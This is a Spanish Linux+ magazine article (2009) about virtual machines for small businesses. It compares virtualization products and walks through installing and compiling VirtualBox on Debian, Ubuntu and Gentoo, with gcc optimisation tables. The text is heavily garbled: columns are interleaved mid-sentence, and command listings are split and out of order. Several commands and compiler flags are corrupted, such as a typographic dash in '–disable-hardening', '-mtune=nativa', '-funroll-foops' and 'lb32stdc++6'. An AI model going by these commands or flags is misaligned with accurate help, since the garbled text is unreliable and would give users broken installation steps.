# apt-get install gcc g++ bcc iasl xsltproc uuid-dev zlib1g-dev libidl-dev
\
libsdl1.2-dev libxcursor-dev libasound2-dev libstdc++5 \
libqt3-headers
python2.5-dev libqt4-dev qt4-dev-tools libcap-dev
libqt3-mt-dev
Listado 3. Compilación e instalación de VirtualBox a partir de los fuentes
# export CFLAGS="-mtune=core2 -O2" (optimizaciones elegida, según la
tabla)
# export CXXFLAGS=”-mtune=core2 -O2"
(configuramos, compilamos)
# ./configure –disable-hardening
# source ./env.sh
# kmk all
(Instalamos librerías y ejecutables)
# cp -prf *.so /usr/lib/
# mkdir /usr/local/virtualbox
# cp -prf * /usr/local/virtualbox/
# ln -s /usr/local/virtualbox/VirtualBox /usr/local/bin/VirtualBox
# ln -s /usr/local/virtualbox/VBoxSVC /usr/local/bin/VBoxSVC
(compilamos e instalamos el modulo)
# cd out/linux.x86/release/bin/src
# make
# make install
(Actualizamos la lista de módulos del sistema)
# depmod
Listado 4. Enlazado de librerías problemáticas para arquitecturas de 64 bits
Figura 1. Diagrama del diseño en capas de los
sistemas virtualizado
# ln -s libX11.so.6
/usr/lib32/libX11.so
# ln -s libXTrap.so.6
/usr/lib32/libXTrap.so
# ln -s libXt.so.6
/usr/lib32/libXt.so
# ln -s libXtst.so.6
/usr/lib32/libXtst.so
# ln -s libXmu.so.6
/usr/lib32/libXmu.so
# ln -s libXext.so.6
/usr/lib32/libXext.so
www.lpmagazine.org
19
soluciones para empresas
Máquinas virtuales: Una alternativa para PYMES
Figura 2. Selección del gestor de paquetes Synaptics
•
•
•
•
– Software disponible actualmente: sus
ventajas e inconvenientes,
– Orientación que se le dará al artículo.
Enfoque del hardware y software.
Instalación del software necesario: VirtualBox:
– Elección de la versión adecuada
– Métodos de instalación. Las diferentes
distribuciones y el código fuente
– Instalador con un gestor de paquetes:
Figura 3. Elección del origen del software
Debian, Ubuntu, Gentoo
– Instalación a partir del código fuente: • Máquina virtual (también llamada hués32 y 64 bits
ped o máquina virtualizada). Es aquella
que estamos simulando. Físicamente no
– Preparando VirtualBox
existe como tal. Pero el software de siPrimera toma de contacto con VirtualBox
mulación se encarga de hacerle creer al
Los parámetros de las máquinas virtuales:
sistema operativo que se instale en dicha
máquina que es un PC físico completo
– Configuración de las opciones básicas
y normal. El Sistema operativo no notará
– Los parámetros avanzados
diferencia alguna entre la máquina física
– Las pestañas: descripcion y otros
y la virtual.
– Configuración de los discos duros
– Configuración del CDROM y disquete
– Configuración del dispositivo de
sonido
– Configuración de las tarjetas de red
– Configuración del puerto serie
– Directorios compartidos
– Instalación de las Guest Additions
Configuración de la red.
Introducción
a las máquinas virtuales
Podríamos definir una máquina virtual como
un software especializado que se encarga de
emular un PC completamente. Desde el teclado
hasta la tarjeta de vídeo. Siempre que se habla
de máquinas virtuales salen a relucir dos conceptos:
• Máquina física (también se le suele llamar sistema anfitrión, o anfitrión solamente): Cuando nos referimos a la máquina física estamos haciendo alusión al
ordenador propiamente dicho y a todas
las piezas que lo componen. Podríamos
decir que es la parte que podemos toFigura 4. Añadir la firma del nuevo repositorio
car.
20
Linux+ 5/2009
Un ordenador con un software adecuado para la
virtualización puede alojar varias máquinas virtuales. El numero dependerá del hardware del
que se disponga (para hacer un buen balance habría que realizar un cálculo estimado de consumo
de recursos de las máquinas virtuales y el hardware del que se dispone). Todas ellas comparten
todos los componentes físicos de la máquina. El
software de virtualización se encargará de hacerle
pensar a cada una de las máquinas virtualizadas
que son dispositivos físicos diferentes.
soluciones para empresas
Máquinas virtuales: Una alternativa para PYMES
Figura 5. Actualizar la lista de paquetes
El software consigue esto creando un
capa intermediaria entre el hardware real y la
máquina virtual. A esta capa se le suele llamar
hypervisor y es la parte fundamental de la
virtualización. De él depende la velocidad de
acceso a los recursos físicos, como pueden ser
el disco duro o la tarjeta de red.
Para intentar aclarar un poco más el concepto de máquina virtual puede ver la Figura 1.
En la imagen podemos observar la abstracción
que existe entre las diferentes máquinas virtuales, el medio físico y el intermediario entre
ambos: el hypervisor.
y se hará una pequeña comparativa entre ellas.
Xen: Desarrollado originalmente por la Universidad de Cambridge. Fue adquirido por Citrix
System en el 2007. Capaz de funcionar en entornos de 32 y 64 bits. Incluye soporte específico
para las extensiones de virtualización de Intel
y Amd (se trata más adelante este tema). Es capaz
de clonar máquinas virtuales en caliente, siendo
capaz de hacerlo en un tiempo ínfimo (del orden
de mili segundos). Utiliza una técnica llamada
paravirtualización. Con ella consigue una penali-
zación en el rendimiento de las máquinas virtuales del orden del 2% con condiciones normales
y del 8% en los peores casos. Estos porcentajes
contrastan con el 20% que sufren habitualmente
con el resto de soluciones software. Es necesario
Linux como sistema base para poder correrlo. En
sus primeras versiones existía una versión para
Windows XP, pero problemas de licencias con
Microsoft prohíben su lanzamiento al público.
Un punto a favor de Xen es que es gratuito y opensource.
VMWare: Sin duda el software más conocido cuando hablamos de virtualización. Lo
podemos encontrar para entornos de 32 y 64
bit compatibles con la arquitectura x86. Existen
versiones tanto para Windows, Linux y MacOS
X con microprocesadores Intel. El rendimiento
depende mucho del hardware disponible en
la máquina y en los recursos que se le deseen
asignar a la máquina virtual. Una de las mejores
cualidades que VMWare es su excelente gestor
gráfico para la administración de las máquinas
virtuales. Este facilita el manejo de cada una
de las máquinas hasta el punto de llegar a ser
prácticamente trivial el crear y administrar una
máquina virtual. Sin lugar a dudas es uno de
los más usados hoy en día y no es para menos,
ya que se ha ganado un puesto en todo lo alto.
Existen versiones de gratuitas, pero las versiones profesionales no lo son.
VirtualPC: Desarrollado originalmente por
Connectix y adquirido por Microsoft. Al contrario que otras soluciones software, VirtualPC
emula el hardware y lo limita considerablemente. Existen versiones para prácticamente todas
¿Por qué una máquina virtual?
Después de esta pequeña introducción a las máquinas virtuales, viene inevitablemente a la cabeza la pregunta que todos nos hacemos la primera
vez que oímos hablar de ellas: ¿Cuál es la ganancia que consigo con máquinas virtuales?, ¿No
sería más eficiente dedicar todo el hardware a un
solo sistema operativo?, ¿El hardware requerido
para que el rendimiento sea aceptable debe de ser
muy costoso?
El porqué del uso de máquinas virtuales no
consiste en una sola respuesta, sino varias. Para
empezar, la principal
Software disponible actualmente: sus
ventajas e inconvenientes
En la actualidad podemos encontrar en el mercado numerosas soluciones de virtualización.
Tanto de pago como gratuitas. Cada cual con
sus ventajas e inconvenientes. A continuación
comentaremos brevemente las más destacadas Figura 6. Selección de paquetes para la instalación de VirtualBox
www.lpmagazine.org
21
soluciones para empresas
Máquinas virtuales: Una alternativa para PYMES
Tabla 1. Optimizaciones para gcc 4.2.4 o inferiores
Gcc 4.2.4 o inferiores
Intel
Pentium o
celeron
pentium-mmx
pentiumpro
-mtune={pentium/pentium-mmx/pentiumpro} -O2 -mmmx -fomit-frame-pointer -pipe
-malign-double
Orientación que se le dará al artículo,
enfoque del hardware y software
Pentium2
-mtune=pentium2 -O2 -mmmx -fomit-frame-pointer -pipe
Pentium3
Pentium3
mobile
-mtune={pentium3/pentium3-m} -O2 -mmmx -msse -fomit-frame-pointer -pipe mfpmath=sse
Pentium4
Pentium4
mobile
o Celeron
mobile
-mtune={pentium4/pentium4-m} -O2 -fomit-frame-pointer -pipe -mmmx -msse -msse2
-mfpmath=sse -funroll-loops -fprefetch-loop-arrays
Centrino
Celeron mobile
-mtune=pentium-m -O2 -mmmx -msse -msse2 -fomit-frame-pointer -pipe mfpmath=sse
Core2
Core2 dúo
-mtune=nocona -O2 -fomit-frame-pointer -pipe -mmmx -msse -msse2 -msse3 mfpmath=sse -funroll-loops -fprefetch-loop-arrays
QuadCore
-mtune=opteron -O2 -fomit-frame-pointer -pipe -mmmx -msse -msse2 -msse3 mfpmath=sse -funroll-loops -fprefetch-loop-arrays
Amd
K6
-mtune=k6 -O2 -mmmx -fomit-frame-pointer -pipe -malign-double
k6-2
k6-3
-mtune={k6-2/k6-3} -O2 -mmmx -m3dnow -fomit-frame-pointer -pipe -malign-double
Athlon
Turion
Athlon-xp
-mtune={athlon/athlon-xp} -O2 -mmmx -fomit-frame-pointer -pipe -malign-double -msse
-m3dnow -mfpmath=sse
Athlon 64
Athlon fx
-mtune={athlon64/athlon-fx} -O2 -mmmx -fomit-frame-pointer -pipe -malign-double -msse -m3dnow -msse2 -msse3 -mfpmath=sse -funroll-loops -fprefetch-loop-arrays
Opteron
Phenom
-mtune={opteron} -O2 -mmmx -fomit-frame-pointer -pipe -malign-double -msse m3dnow -msse2 -msse3 -mfpmath=sse -funroll-loops -fprefetch-loop-arrays
las versiones de Windows y Mac. Tiene bastantes limitaciones como, por ejemplo, sólo hay
capa de emular tarjetas gráficas de hasta 16 bits
para las últimas versiones. Los sistemas virtualizados están bastante limitados. Aunque es capaz
de soportar la mayor parte de los sistemas de
Microsoft e incluso algunas versiones de OS/2
de IBM, no es así con Linux. Este no está soportado oficialmente, y las versiones que son capaz
de funcionar bajo él necesitan de un ajuste de
parámetros para conseguir arrancar. Al contrario
de lo que pueda pensar, Microsoft distribuye VirtualPC de forma completamente gratuita.
KVM: Del acrónimo Kernel Virtual Machine, es una solución completa de virtualización
integrada en el kernel de Linux y sistemas UNIX.
Soportado para diversas arquitecturas: s390,
PowerPC, IA6 e Intel x86 y compatibles. De
uso gratuito.
VirtualBox: Desarrollado por la empresa
alemana innotek y adquirido posteriormente por
22
nientes podemos mencionar la ausencia de un
soporte completo para Windows, arquitecturas
poco frecuentes o drivers. Está disponible para
múltiples arquitecturas hardware.
Sun Microsystems. Disponible para multitud de
plataformas: Windows, Linux, OS/2, Solaris,
freeBSD... así como varias arquitecturas. Se asemeja bastante a VMWare y tiene un cierto grado
de compatibilidad con este. Su simpleza y su funcionamiento más que aceptable lo han convertido
una buena alternativa a éste ya que es software
libre. Para este artículo VirtualBox ha sido la
opción elegida.
Qemu: Realmente no es un software de virtualización propiamente dicho, pero este artículo no estaría completo si no lo mencionáramos.
Qemu es un emulador de procesadores. Este es
capaz de traducir los archivos binarios de un
procesador a otro. Tiene dos modos de funcionamiento: Emulación del modo usuario, que funciona como ya se ha mencionado, es decir, traduciendo binarios. Emulación en modo completo
que es capaz de emular el PC por completo. El
sistema anfitrión necesita ser adaptado y parcheado para soportarlo. Entre sus inconve-
Linux+ 5/2009
Este artículo está dirigido a todas aquellas personas a las que les guste experimentar y probar
cosas nuevas. Muchas veces descubrimos software que, por curiosidad, nos gustaría probar.
El problema está cuando se instala y borra
Para las pruebas que se realizarán en este
artículo se hará uso de un ordenador personal
de uso corriente. En mi caso usé un portátil
con un Intel core2 Dúo, aunque todo lo aquí he
escrito es válido para cualquier tipo de PC. Para
aquellos determinados aspectos que requieran
de algún matiz particular para algún determinado tipo de hardware se detallará las modificaciones pertinentes de forma adecuada.
Anteriormente se hizo un breve repaso por
el software más popular que existe actualmente
en términos de virtualización. En nuestro caso
usaremos VirtualBox, de Sun MicroSystems. El
motivo es su sencillez de uso, la capacidad de
virtualizar prácticamente cualquier sistema operativo existente en el mercado, y su rendimiento
óptimo. VirtualBox empezó siendo un proyecto
como alternativa a los grandes fabricantes,
como VMWare. Pero lo que empezó siendo un
software modesto está demostrando que es capaz
de competir y acaparar una cuota de mercado un
poco olvidada: los usuarios. E incluso las pequeñas empresas.
Instalación del software
necesario: VirtualBox
Como ya se ha comentado anteriormente VirtualBox es un software relativamente nuevo. Por ese
motivo en cortos periodos de tiempo aparecen
versiones nuevas, que añaden funcionalidad y corrigen fallos. Dadas las diferentes versiones
que existen no nos centraremos en la última
release. Instalaremos la última versión estable
disponible para cada distribución. También se
hará una instalación desde el código fuente. En
ese caso sí nos descargaremos e instalaremos la
última release.
Métodos de instalación. Las diferentes
distribuciones y el código fuente
Dada la cantidad de distribuciones de Linux
disponibles actualmente, es sumamente complicado y extenso explicarlo para todas y cada
una de ellas. Por esta razón se explicará únicamente para tres distribuciones. Los motivos de
por qué se han elegido esas distribuciones y no
otras, y cuales de ellas fueron es el siguiente:
soluciones para empresas
Máquinas virtuales: Una alternativa para PYMES
te que conlleva es la correcta instalación de
las dependencias a la hora de compilar. Una
vez resuelto ese tema, lo único que se puede
obtener es una ganancia de rendimiento considerable. Por tanto, a no ser que use gentoo
(ya que él lo hace automáticamente), yo recomendaría este método para su instalación si se
quiere sacar el máximo partido a la capacidad
de nuestro PC.
Instalación con un gestor de paquetes:
Debian, Ubuntu y Gentoo
Sin duda usar un gestor de paquetes es manera
más rápida y cómoda de instalar cualquier tipo
de software. El único problema es que están
compilados para máquinas genéricas. De esta
manera se puede instalar en un mayor número
de ordenadores, pero a cambio se pierde rendimiento (Salvo en gentoo que, como ya se
comentó, hace precisamente eso: optimizar el
programa que se va a instalar para la máquina).
Detallamos la instalación usando los gestores
de paquetes de cada una de las distribuciones
nombradas anteriormente:
Debian: El gestor de paquetes de Debian
se llama apt. Disponemos de dos comandos
principales para ejecutarlo: apt-get, apt-cache.
Con el primero instalaremos los programas que
queramos, actualizaremos la lista de paquetes
disponibles y el sistema de forma global, entre
otras. El segundo se usa esencialmente para
buscar programas disponibles que pueden ser
instalados.
Debian no incluye en sus repositorios los
paquetes de VirtualBox, por tanto tendremos que
añadirlos de forma manual. Editamos para ello el
archivo donde se almacenan los repositorios con
nuestro editor favorito. En nuestro caso usaremos
nano por ser extremadamente simple.
Edición del archivo que contiene los repositorios:
Figura 7. Apertura de un terminal
•
•
•
Debian: Sin duda en cualquier artículo o escrito de Linux que se precie es prácticamente obligado el hacer referencia a ella.
Son muchos los motivos que se podrían dar
a favor de Debian. Nombrando sólo algunos
se podría decir: La gran estabilidad del sistema. La enorme comunidad de gente que hay
detrás de ella. La multitud de arquitecturas
en las que es soportado: desde un 386 hasta
un Quad Core. El poco consumo de recursos necesario para su funcionamiento en un
sistema básico. Podríamos instalar un servidor web Apache en Debian, que no soporte
demasiadas conexiones por segundo, en un
486 con 32 Megabytes de RAM.
Ubuntu: Al igual que a Microsoft con su
Windows (y esto es le pese a quien le pese)
hay que agradecerle la gran difusión de la
informática para uso personal, a Ubuntu hay
que agradecerle el acercarle a los usuarios no
especializados el uso de GNU/Linux. Ubuntu posee una comunidad inmensa, es posible
que la mayor que existe en GNU/Linux. Su
punto fuerte es su simplicidad y sencillo
manejo. Es tremendamente fácil instalar
y configurar Ubuntu (De hecho uno de sus
principales eslogan es: Ubuntu: GNU/Linux
para gente normal), además de poseer un
enorme soporte para prácticamente cualquier tipo de hardware. Es por eso que se ha
ganado su merecida popularidad.
Gentoo: En contraposición a Ubuntu, Gentoo posee muchas cualidades, pero la simplicidad no es una de ellas. Gentoo coge la
filosofía de FreeBSD y extrapola al mundo
Linux. En esencia lo que hace es optimizar
todo el sistema para el hardware que se
disponga. Esto se consigue modificando una
serie de archivos de configuración y definiendo, según su hardware, una serie de parámetros. Una vez hecho esto, para cualquier
software que quiera instalar, descargará el
código fuente de dicho programa (y todas
sus dependías) de Internet y lo compilará
con los parámetros que usted especificó,
como puede ser: El tipo de procesador y las
optimizaciones elegidas, las funcionalidades
que desea añadirle al software y cuales no
serán necesarias. De esta forma afinará el
sistema específicamente a lo que realmente
usará, consiguiendo una ganancia de rendimiento nada despreciable. Por la forma en
la que Gentoo optimiza cada programa se
explicarán los parámetros necesarios para # nano -w /etc/apt/sources.list
su instalación.
Agregamos la siguiente linea:
También se explicará la configuración e instalación de VirtualBox a partir del código fuente, […]
con todas las ventajas e inconvenientes que ello deb http://download.virtualbox.org/
conlleva. Sin duda las ventajas superan a los virtualbox/Debian etch non-free
inconvenientes, ya que el único inconvenien- […]
Figura 8. Versión del gcc
www.lpmagazine.org
23
soluciones para empresas
Máquinas virtuales: Una alternativa para PYMES
Antes de instalar VirtualBox actualizaremos la Tabla 2. Optimizaciones para gcc 4.3.0 o superiores
lista de paquetes. Para hacerlo pondremos los Gcc 4.3.0 o superiores
siguientes comandos (cabe señalar que ambos Intel
Las opciones son exactamente iguales que para las versiones 4.2.4 e
comandos han de ser ejecutados como root).
inferiores.
(actualización de la lista de
paquetes)
# apt-get update
# apt-get install virtualbox-2.0
Apt necesitara descargar, dependiendo de la
instalación base que tenga, entre 36 y 52 Mb.
Una vez apt haya finalizado tendremos VirtualBox instalado.
Ubuntu: Ubuntu está basado en Debian, por
tanto utiliza el mismo gestor de paquetes y ficheros de confirmación para los repositorios. Si
lo desea puede seguir los pasos explicados en el
apartado anterior o puede usar el gestor gráfico
que incorpora por defecto Ubuntu (el gestor también puede ser instalado en Debian). Dicho gestor
es Synaptics (Figura 2). Antes de empezar tendremos que descargar un archivo. Este archivo contiene la firma digital gpg para validar la autenticidad y validación del repositorio que añadiremos
más adelante. Podemos descargar el archivo en:
http://download.virtualbox.org/virtualbox/debian/sun_vbox.asc. Guardamos el archivo donde
mejor nos parezca. Después tendremos que usarlo. Abrimos el gestor de paquetes.
A continuación tendremos que marcar una
serie de opciones en el gestor, si no las tenemos
marcadas ya (las que aparecen encuadradas en un
rectángulo en la imagen). Para ello nos dirigimos
al menú configuración->repositorios (Figura 3).
Ahora es el momento de usar ese archivo que
descargamos al principio. Importamos la firma
digital desde donde la guardáramos (Figura 4).
Al igual que hacíamos con Debian, deberemos
de recargar la lista de repositorios. Para ello pulsamos el menú de actualizar repositorio (Figura
5). Buscamos e instalamos VirtualBox. Seleccionamos el botón buscar que se encuentra a la
derecha de la barra de herramientas y escribimos:
VirtualBox. Los resultados nos saldrán en el cuadro blanco que se encuentra debajo. Hemos de
marcar los siguientes, según la Figura 6.
Una vez tengamos hecho esto le damos al
botón de aplicar. Una vez descargado e instalado necesitamos compilar el módulo para el
kernel, necesario para VirtualBox. Para ello
tendremos que usar la linea de comandos. Vamos al menú principal de Ubuntu y nos abrimos
un terminal (Figura 7).
Synaptics nos habrá dejado los códigos
fuente del módulo para el kernel en el directorio /usr/src/vboxdrv-2.0.4 (el último dígito
puede variar en función de la versión que
nos haya instalado el Synaptics. Solo nos
24
Pentium o celeron
pentium-mmx
pentiumpro
Pentium2
Pentium3
Pentium3 mobile
Pentium4
Pentium4 mobile
o Celeron mobile
Centrino
Celeron mobile
Core2
Core2 dúo
-mtune=core2 -O2 -fomit-frame-pointer -pipe -mmmx -msse -msse2
-msse3 -mfpmath=sse -funroll-loops -fprefetch-loop-arrays
QuadCore
-mtune=barcelona -O2 -fomit-frame-pointer -pipe -mmmx -msse -msse2 -msse3 -mfpmath=sse -funroll-loops -fprefetch-loop-arrays
Amd
Las opciones son exactamente iguales que para las versiones 4.2.4 e
inferiores.
K6
k6-2
k6-3
Athlon
Turion
Athlon-xp
Athlon 64
Athlon fx
-mtune={athlon64/athlon-fx} -O2 -mmmx -fomit-frame-pointer -pipe
-malign-double -msse -m3dnow -msse2 -msse3 -mfpmath=sse -funroll-loops -fprefetch-loop-arrays
Opteron
-mtune=nativa -O2 -mmmx -fomit-frame-pointer -pipe -malign-double
-msse -m3dnow -msse2 -msse3 -mfpmath=sse -funroll-loops -fprefetch-loop-arrays
Phenom
-mtune=amdfam10 -O2 -mmmx -fomit-frame-pointer -pipe -maligndouble -msse -m3dnow -msse2 -msse3 -mfpmath=sse -funroll-loops
-fprefetch-loop-arrays
queda compilar. Tecleamos lo siguiente (Listado 1).
Si queremos que se cargue el módulo de
forma automática cada vez que iniciemos el
sistema deberemos de añadir la siguiente linea
en el fichero /etc/modules:
comandos, sino que incluye todo el sistema de
gestión de paquetes y su mantenimiento. El comando usado para instalar software en gentoo es
emerge. Hay que recalcar varias cosas. Si usamos
la versión estable el aspecto gráfico, y varias funcionalidades, podrían no ser del todo adecuados.
Por eso usaremos la versión inestable, que en
(Edición del archivo que contiene los
el momento de escribir este artículo es la 2.0.6.
módulos de arranque)
También hemos de prestar atención a los flags
# nano -w /etc/modules (pulsamos
de compilación, ya que esta versión requiere las
CTRL+X para salir)
librerías qt4, de otro modo no instalará el entorno
gráfico para VirtualBox. También requiere de al
Agregamos la siguiente linea:
menos los flags del USE activados, como mínimo
para su correcto funcionamiento: alsa, pulseaudio,
[…]
python. Que corresponden, respectivamente, con
vboxdrv
el sistema de sonido avanzado de Linux (Advan[…]
ced Linux Sound Architecture) encargado de interactuar la tarjeta de sonido, el servidor de sonido
Hecho esto tenemos nuestro VirtualBox listo pulseaudio (necesario para ciertas funciones de
para funcionar.
sonido en las máquinas virtuales), y python para
Gentoo: El gestor usado por gentoo es llama- que se instalen ciertos scripts de administración.
do portage. No se trata solamente de unos cuantos Por tanto introduciremos el comando adecuado
Linux+ 5/2009
soluciones para empresas
Máquinas virtuales: Una alternativa para PYMES
dependiendo la arquitectura del sistema operativo
que tengamos instalado.
En el caso de tener instalado un sistema
de 64bits:
apt-get install ia32-libs libc6-
# ACCEPT_KEYWORDS="~amd64" USE="qt4
Si nuestro sistema es de 32 bits:
Cuando la instalación de las librerías haya
finalizado, necesitaremos descargar el código •
fuente del VirtualBox.
Descomprimimos el archivo tecleando en una •
consola. Acto seguido entramos en el directorio:
# ACCEPT_KEYWORDS="~x86" USE="qt4 alsa
# tar -xjf VirtualBox-2.0.6-
pulseaudio python" emerge virtualbox-ose
OSE.tar.bz2
alsa pulseaudio python" emerge
virtualbox-ose
La variable ACCEPT_KEYWORDS define la arquitectura para la cual se va a compilar el paquete
pasado como parámetro a emerge. Si el nombre
de la arquitectura va precedido de ~ se interpretará como que se desea instalar la versión inestable. La variable USE indica las características
que queremos añadir al software que vamos
a compilar. En este caso añadimos aquellas
que nombramos anteriormente. Una vez hecho esto, emerge se encarga de descargar los
códigos fuentes de VirtualBox, así como sus
dependencias, y compilarlas con las optimizaciones configuradas en el sistema. Una vez
hecho esto ya tendremos VirtualBox listo
para funcionar.
dev-i386 lib32gcc1 gcc-multilib
lb32stdc++6 \
g++-multilib
# cd VirtualBox-2.0.6
optimización. Lo que implica que se perderá en
portabilidad.
A continuación se detalla, brevemente, una
pequeña explicación de la funcionalidad de
cada parámetro:
-mtune:
Especifica el tipo de procesador
que tenemos.
-O2: Le indica al compilador que queremos
un tipo de optimización de nivel 2. Existen
4 tipos de optimizaciones. -O1, que aplica
una optimización leve. -O2, que optimiza de
forma moderada. -O3, que optimiza de manera agresiva y -Os, que optimiza para que el
ejecutable ocupe el menor tamaño posible.
-pipe: Este parámetro no influye en el rendimiento una vez compilado el código fuente.
Su función es la de acelerar el proceso de
compilación. Para ello hace uso de pipes
o tuberías para comunicar los diferentes
procesos que se crean cuando el compilador
trabaja, en lugar de archivos temporales.
-fomit-frame-pointer: Este parámetro
proporciona un registro del procesador extra que puede ser usado para otras tareas,
siempre y cuando la función llamada no lo
necesite.
-mfpmath: Indica al compilador que se desea usar la unidad aritmética con las nuevas
extensiones sse, en lugar de la antigua 387.
-m3dnow, -mmmx, -msse, -msse2, -msse3:
Activa el uso de las extensiones multimedia
-m3dnow, mmx, sse, sse2 y sse3.
-funroll-foops: Intenta extender los bucles. Se gana en rendimiento sacrificando el
tamaño de los ejecutable, que aumentan.
-fprefetch-loop-arrays: Si el procesador
tiene soporte, intenta precargar en memoria
cierto código antes de ejecutar los bucles.
De esta forma se optimiza el rendimiento.
Esto es así ya que el bucle no ha de esperar
la carga de esas instrucciones, puesto que se
cargaron con anterioridad en memoria.
Llegados a este punto han de explicarse los •
parámetros de optimización del gcc. Estos son
los que marcarán la diferencia entre los binarios
precompilados (que podemos instalar en Debian
y Ubuntu) o compilar nosotros mismos la aplicación. Gcc acepta muchos parámetros, entre
ellos el tipo de procesador en el que se ejecutará
el binario compilado, el nivel de optimización •
que deseamos, las extensiones multimedia del
procesador que nos gustaría activar, etc. Para realizar esta tarea el gcc usa dos variables globales:
CFLAGS y CXXFLAGS. Dependiendo de la
versión del gcc las optimizaciones podrían variar. •
Un valor que, normalmente, varía es el parámetro
mtune, que especifica el tipo de procesador del
Instalación a partir del código fuente:
que se dispone. El motivo de que varíe es que en •
32 y 64 bits
las versiones algo más antiguas no aparecen los
Sin lugar a dudas este es el método más ade- procesadores más modernos. Por eso es imporcuado si lo que queremos es sacarle el máximo tante saber de qué versión de gcc disponemos. •
rendimiento a VirtualBox. El hecho de que Para comprobarla escribimos en un terminal:
compilemos el software para adaptarlo a nuestra arquitectura específicamente, además de # gcc -v
•
incluirle alguna optimización como parámetros
al gcc nos hará ganar un notable rendimiento Después de esta orden obtendremos algo pareen VirtualBox y por lo tanto en las máquinas cido a lo siguiente al contenido de la Figura 7.
virtualizadas.
Detallamos una pequeña tabla con las opEl procedimiento que se explica es válido timizaciones que se han considerado óptimas
tanto para Debian como para Ubuntu (ya que dependiendo el tipo de procesador que se disen Gentoo no tiene demasiado sentido). El ponga (sólo se muestran algunos) y la versión
proceso también puede extrapolarse a cualquier del gcc (Tabla 1). Hay que matizar que lo que Una vez este comando haya terminado ya tendistribución, pero se tendría de tener cuidado se pretende, ante todo, es jugar en favor de la dremos todo lo necesario para proseguir con la
de instalar las dependencias convenientemente. Tabla 3. Procesadores con soporte de virtualización nativa
Para comenzar debemos explicar que Vir- Intel
Amd
tualBox se apoya en una serie de librerías ya
Pentium 4 (662 y 672)
Athlon 64
existentes. Por ello antes tenemos que asegurarPentium 4 Extreme con soporte HT
Athlon 64 X2, familias F y G con socket AM2
nos que las tenemos correctamente instaladas. Si
Turion 64 X2
ya las tuviéramos en nuestro sistema no pasaría Pentium D 920-960, excepto 945, 935, 925, 915
Core
Opteron
nada. Lo único que pasaría es que apt le informaría que la librería ya se encuentra en sus sistema Core 2
Phenom y Posteriores
y por tanto no instalará nada nuevo. Ejecutamos Series Xeon 3000
el siguiente comando para instalarlas (Listado 2). Series Xeon 5000
Si vamos a compilar para una arquitectura
Series Xeon 7000
de 64 bits tendremos que instalar unos paquetes
QuadCore y posteriores
adicionales:
www.lpmagazine.org
25
soluciones para empresas
Máquinas virtuales: Una alternativa para PYMES
Figura 9. Primera impresión de VirtualBox
compilación. Tan solo nos queda exportar nuestras variables CFLAGS y CXXFLAGS y comenzar
con la compilación. Anteriormente lo quedamos
situado en el directorio en que descomprimimos
VirtualBox. Tecleamos los siguientes comandos
(estos comandos deberían de hacerse como root.
Al menos el make install), ver Listado 1.
Si encontramos errores de librerías cuando
arranquemos VirtualBox, en sistemas de 64
bits, solucionaremos esto enlazando las siguientes dependencias. Haremos esto en el directorio raíz en el que hicimos el kmk (ver Listado 2).
Hecho esto ya tenemos compilado, instalado
y (lo más importante) optimizado VirtualBox.
En Gentoo escribiremos los módulos el fichero
/etc/modules.autoload/kernel-2.6 :
Preparando VirtualBox
Primera toma de contacto con
VirtualBox
Antes de usar VirtualBox han de configurar un
par de cosas inprescindibibles para su uso. Si
se pretende ejecutar máquinas virtuales como
usuario normal, habrá que añadirlo al grupo correspondiente. Este grupo es vboxusers. Todos
los usuarios pertenecientes a este grupo tendrán
los permisos suficientes para ejecutar todas las
funcionalidades de VirtualBox. Además habrá
que cargar el módulo necesario para que se ejecute correctamente al arrancar el sistema. Para
añadir a nuestro usuario al grupo de aquellos
que pueden ejecutar VirtualBox y crear máquinas virtuales ejecutaremos:
[…]
vboxnetflt
[…]
Tan solo nos queda dar los permisos apropiados
para que todos los usuarios del grupo vboxusers
puedan acceder al driver de virtualización
creado por VirtualBox. Para hacer esto escribiremos:
chmod 660 /dev/vboxdrv
chgrp vboxusers /dev/vboxdrv
A la derecha aparecen tres pestañas. Navegando por ellas podemos encontrar todos los
parámetros de configuración disponibles para
cada una de nuestras máquinas virtuales. Los
botones grandes, encima de las máquinas, son
lo suficientemente explicativos como para no
necesitar añadir nada.
Ahora detallaremos cada uno de los menús.
Empezando por el menú Archivos (Figura 10) nos
aparecerá, como primera opción, Administrador
de Discos Virtuales, nos permitirá gestionar los
discos duros virtuales de los que disponemos,
crear nuevos y eliminar los ya existentes. La opción Preferencias, nos abrirá una nueva ventana
desde la que podremos controlar las opciones
globales como el idioma, directorios de trabajo,
o periodicidad de chequeo de la disponibilidad
de actualizaciones. Y por último salir.
Si hacemos click en el menú Máquina se
desplegará un menú con el de la Figura 11. Con
Nuevo abriremos un asistente que nos guiará
en la creación de una nueva máquina virtual.
Configuración nos mostrará los parámetros
configurados para la máquina que tengamos seleccionados en ese momento, si disponemos de
alguna. En otro caso estará desactivada. Borrar
eliminará una máquina virtual del la lista que
nos aparece debajo. Hay que tener cuidado con
esta opción porque no solamente nos la eliminará de la lista, sino que también borrará todos
los archivos que tiene. Iniciar arrancará la máquina virtual seleccionada. Esta opción correspondería a la pulsación del botón de power en
un ordenar físico. Descartar, Pausar y Actualizar tal vez resulten un poco confusos si nunca
se ha trabajado con entornos de virtualización.
Cuando trabajamos con máquinas virtualizadas
disponemos de opciones que, si éstas fueran
ordenadores físicos, no tendríamos disponibles.
Estas características hacen que podamos pausar
un sistema virtual una vez lo hayamos arrancado. Esto congela todo el estado de la máquina,
tal cual está en ese preciso instante. Podemos
dejar en este estado la máquina tanto tiempo como queramos. Cuando la necesitemos de nuevo
tan solo tenemos que volver a darle a iniciar
y volverá al estado en el que se quedó cuando
la pausamos. Para ésta es como si no hubiera
pasado nada. Si además queremos cerrar la máquina virtual, por cualquier motivo, tenemos la
posibilidad de guardar el estado de la máquina.
En esta sección se explicará, lo más detalladamente posible, cada uno de los menús que podemos encontrarnos cuando arrancamos la aplicación. Más adelante entraremos en detalle sobre la
configuración de los parámetros de las máquinas
virtuales y las posibilidades que ofrece nuestro
entorno de virtualización. Cuando arrancamos
el software nos aparecerá, en primer lugar, un
formulario de registro. Tendremos que indicarle
un nombre y una cuenta de correo. El registro no
es obligatorio, pero si lo dejamos en blanco nos
aparecerá cada vez que iniciemos el entorno. Si
no se desea que Sun disponga de nuestros datos,
# gpasswd -a NUESTRO_USUARIO
pero que tampoco nos aparezca esa pantalla cada
vboxusers
vez que arranquemos, podemos introducir unos
ficticios. Aunque esta información solamente
Configuramos el sistema para que al arranque será usada para términos estadísticos (por regla
cargue los módulos necesarios de VirtualBox. general). Cuando hayamos completado este
